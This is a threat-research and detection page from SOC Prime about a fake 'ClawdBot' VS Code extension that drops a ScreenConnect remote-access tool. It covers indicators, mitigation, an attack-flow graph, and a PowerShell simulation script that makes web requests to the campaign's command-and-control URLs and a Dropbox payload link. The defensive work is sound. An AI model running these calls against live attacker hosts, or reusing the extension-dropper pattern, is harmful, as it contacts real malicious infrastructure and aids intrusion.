SOC Prime Bias: Critical

28 Jan 2026 12:58
newspaper icon aikido.dev

Fake ClowdBot VS Code Extension Drops ScreenConnect RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Fake ClowdBot VS Code Extension Drops ScreenConnect RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

A malicious Visual Studio Code extension called ClawdBot Agent poses as an AI coding assistant but covertly installs a weaponized ScreenConnect remote access tool on Windows when VS Code launches. On startup, the extension pulls a configuration file from an attacker-controlled domain, then downloads and runs a fake VS Code binary (Code.exe) along with supporting DLLs. As a secondary delivery path, it can fetch the same installer from a Dropbox link to maintain payload availability. The campaign abuses a trusted IT support tool to blend into legitimate remote-administration activity and reduce suspicion.

Investigation

Researchers acquired the extension’s package.json, confirmed activation on VS Code startup, and retrieved the remote JSON configuration listing the malicious components. Binary analysis showed signed ScreenConnect modules that beaconed to a custom relay server. Additional fallback logic was found in JavaScript and PowerShell, referencing secondary domains and Dropbox-hosted payloads. On-disk artifacts were observed under the %TEMP%\Lightshot folder.

Mitigation

Remove the ClawdBot Agent extension from VS Code and delete remaining files from the ScreenConnect install location and the %TEMP%\Lightshot directory. Uninstall the ScreenConnect client service and block outbound connectivity to the identified relay domains and IPs. Rotate any API keys or secrets that may have been entered into the extension.

Response

Detect the malicious extension by monitoring VS Code extension installs and creation of the Lightshot directory. Alert on execution of Code.exe or ScreenConnect binaries from non-standard paths and on outbound connections to meeting.bulletmailer.net:8041 or the associated IP address. Perform host forensics to confirm persistence removal and identify any additional payloads.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[“<b>Technique</b> – <b>T1176 Software Extensions</b><br/>Adversaries may abuse software extensions to execute code, maintain persistence, or exfiltrate data.”] class tech_software_ext action tech_ide_ext[“<b>Technique</b> – <b>T1176.002 IDE Extensions</b><br/>Adversaries use extensions for integrated development environments to run malicious code or gain persistence.”] class tech_ide_ext action tech_user_exec[“<b>Technique</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Victim executes a malicious file deliberately or inadvertently.”] class tech_user_exec action tech_app_layer[“<b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Use of standard web protocols (HTTP/HTTPS) for command and control communication.”] class tech_app_layer action tech_fallback[“<b>Technique</b> – <b>T1008 Fallback Channels</b><br/>Employ alternative communication paths when primary channels are unavailable.”] class tech_fallback action tech_powershell[“<b>Technique</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/>Use PowerShell to execute commands, download files, or interact with the system.”] class tech_powershell action tech_rat[“<b>Technique</b> – <b>T1219 Remote Access Tools</b><br/>Utilize remote access software to maintain control over compromised hosts.”] class tech_rat action tech_dll_inject[“<b>Technique</b> – <b>T1055.001 Process Injection: Dynamic‑link Library Injection</b><br/>Inject a malicious DLL into a running process to execute code in its context.”] class tech_dll_inject action tech_appcert[“<b>Technique</b> – <b>T1546.009 Event Triggered Execution: AppCert DLLs</b><br/>Side‑load a DLL through AppCert registration so it is loaded by a legitimate component.”] class tech_appcert action tech_appinit[“<b>Technique</b> – <b>T1546.010 Event Triggered Execution: AppInit DLLs</b><br/>Load a malicious DLL via the AppInit_DLLs registry mechanism on system startup.”] class tech_appinit action %% Artifact nodes ext_clawdbot[“<b>Tool</b> – <b>Name</b>: ClawdBot Agent VS Code Extension<br/><b>Type</b>: IDE Extension”] class ext_clawdbot tool activation_event[“<b>File</b> – <b>Name</b>: activationEvents \”onStartupFinished\””] class activation_event file init_core[“<b>Action</b> – initCore() runs on VS Code startup”] class init_core action c2_domain[“<b>Server</b> – clawdbot.getintwopc.site”] class c2_domain server fallback_urls[“<b>Server</b> – Hardcoded fallback URLs”] class fallback_urls server ps_script[“<b>Script</b> – PowerShell script that downloads backup payload”] class ps_script file lightshot[“<b>File</b> – Lightshot.exe / Lightshot.dll (backup payload)”] class lightshot file darkgpt[“<b>Server</b> – darkgptprivate.com”] class darkgpt server code_exe[“<b>Malware</b> – Code.exe (weaponized ScreenConnect client)”] class code_exe file relay_server[“<b>Server</b> – meeting.bulletmailer.net:8041”] class relay_server server dwrite_dll[“<b>File</b> – DWrite.dll (malicious DLL mimicking DirectWrite)”] class dwrite_dll file screenconnect_proc[“<b>Process</b> – ScreenConnect component”] class screenconnect_proc process %% Connections ext_clawdbot –>|uses| tech_software_ext ext_clawdbot –>|uses| tech_ide_ext ext_clawdbot –>|defines| activation_event activation_event –>|triggers| init_core init_core –>|fetches config from| c2_domain c2_domain –>|provides| tech_app_layer init_core –>|may fallback to| fallback_urls fallback_urls –>|delivers| ps_script ps_script –>|executes| tech_powershell tech_powershell –>|downloads| lightshot lightshot –>|serves as| tech_user_exec lightshot –>|delivered as| code_exe code_exe –>|uses| tech_rat code_exe –>|contacts| relay_server relay_server –>|enables| tech_app_layer code_exe –>|loads| dwrite_dll dwrite_dll –>|registered for| tech_appcert dwrite_dll –>|registered for| tech_appinit dwrite_dll –>|injected via| tech_dll_inject tech_dll_inject –>|targets| screenconnect_proc screenconnect_proc –>|executes| dwrite_dll tech_fallback –>|covers| fallback_urls %% Class assignments class ext_clawdbot tool class activation_event file class init_core action class c2_domain server class fallback_urls server class ps_script file class lightshot file class darkgpt server class code_exe file class relay_server server class dwrite_dll file class screenconnect_proc process

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Attack Narrative & Commands

  1. Attacker publishes a trojanized VS Code extension titled “Clawdbot Helper”.
  2. Victim installs the extension via the VS Code Marketplace, which runs a postinstall script that silently drops the ScreenConnect client (ScreenConnect.Client.exe) into %APPDATA%ScreenConnect.
  3. Immediately after installation, the client initiates three outbound TCP connections to the attacker‑controlled C2 domains to retrieve additional payloads and report host status.
  4. The outbound connections generate Sysmon Event ID 3 records matching the dest_ip list, satisfying the detection rule.

Regression Test Script

# --------------------------------------------------------------
# Simulated malicious VS Code extension post‑install routine
# --------------------------------------------------------------

# Step 1 – Drop a dummy ScreenConnect binary (simulated)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Create a harmless placeholder binary (e.g., a copy of notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Step 2 – Fire outbound connections to each C2 host
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Silent web request; -UseBasicParsing avoids UI prompts
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contacted $url"
    } catch {
        Write-Host "Failed to contact $url (expected in a sandbox)."
    }
}

# End of script – at this point Sysmon should have logged three
# NetworkConnect events whose DestinationIp values match the rule.

Cleanup Commands

# --------------------------------------------------------------
# Remove simulated artifacts
# --------------------------------------------------------------

# Stop any lingering PowerShell jobs (none in this simple script)
Get-Job | Remove-Job -Force

# Delete the dummy ScreenConnect client folder
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Optionally clear the Sysmon buffer (requires admin)
# sysmon -c

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free